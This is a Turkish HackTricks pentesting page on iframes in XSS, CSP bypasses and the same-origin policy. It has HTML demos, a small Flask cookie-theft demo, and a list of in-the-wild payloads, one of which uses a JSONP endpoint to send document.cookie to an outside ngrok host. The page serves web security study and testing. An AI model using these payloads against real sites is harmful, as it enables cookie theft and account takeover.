hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
2024-02-10 18:14:16 +00:00

9.1 KiB
Raw Blame History

XSS'te Iframe'ler, CSP ve SOP

AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

XSS'te Iframe'ler

Bir iframeli sayfanın içeriğini belirtmek için 3 yol vardır:

  • src ile bir URL belirterek (URL, cross origin veya same origin olabilir)
  • src ile data: protokolünü kullanarak içeriği belirterek
  • İçeriği belirterek srcdoc kullanarak

Ebeveyn ve Çocuk değişkenlere erişme

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Eğer önceki html'e bir http sunucusu üzerinden erişirseniz (örneğin python3 -m http.server), tüm betiklerin çalıştığını fark edeceksiniz (çünkü bunu önleyen bir CSP yoktur). Ana sayfa, herhangi bir iframe içindeki secret değişkenine erişemez ve yalnızca aynı site olarak kabul edilen if2 ve if3 iframe'leri orijinal penceredeki secret'e erişebilir.
if4'ün null kökenine sahip olduğuna dikkat edin.

CSP ile İframe'ler

{% hint style="info" %} Lütfen, aşağıdaki bypasslarda iframeli sayfaya gelen yanıtta JS yürütmesini önleyen herhangi bir CSP başlığı olmadığını dikkate alın. {% endhint %}

script-src'nin self değeri, JS kodunun data: protokolünü veya srcdoc özniteliğini kullanarak yürütülmesine izin vermez.
Ancak, CSP'nin none değeri bile, src özniteliğine bir URL (tam veya sadece yol) koyan iframelerin yürütülmesine izin verecektir.
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Önceki CSP'nin yalnızca içerideki betiğin yürütülmesine izin verdiğine dikkat edin.
Ancak, yalnızca if1 ve if2 betikleri yürütülecek, ancak yalnızca if1 üst öğeye erişebilecek.

Bu nedenle, bir JS dosyasını sunucuya yükleyebilir ve script-src 'none' ile bile iframe üzerinden yükleyebilirseniz, bir CSP'yi atlayabilirsiniz. Bu, aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir.

Aşağıdaki senaryo ile script-src 'none' ile bile bir çerez çalınabilir. Uygulamayı çalıştırın ve tarayıcınızla erişin:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Vahşi Doğada Bulunan Diğer Yükler

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Iframe içindeki içerik, sandbox özelliği kullanılarak ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu özellik uygulanmaz, yani hiçbir kısıtlama yoktur.

Kullanıldığında, sandbox özelliği birkaç kısıtlama getirir:

  • İçerik, benzersiz bir kaynaktan geldiği gibi işlenir.
  • Form gönderme girişimleri engellenir.
  • Scriptlerin çalıştırılması yasaktır.
  • Belirli API'lere erişim devre dışı bırakılır.
  • Bağlantıların diğer gezinme bağlamlarıyla etkileşimini engeller.
  • <embed>, <object>, <applet> veya benzer etiketler aracılığıyla eklentilerin kullanımına izin verilmez.
  • İçeriğin kendisi tarafından içeriğin üst düzey gezinme bağlamının gezinmesi engellenir.
  • Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.

Özniteliğin değeri, tüm yukarıda belirtilen kısıtlamaların uygulanması için boş bırakılabilir (sandbox=""). Alternatif olarak, iframe'ı belirli kısıtlamalardan muaf tutan boşlukla ayrılmış bir değer listesi olarak ayarlanabilir.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

SOP'da Iframe'ler

Aşağıdaki sayfalara bakın:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert)!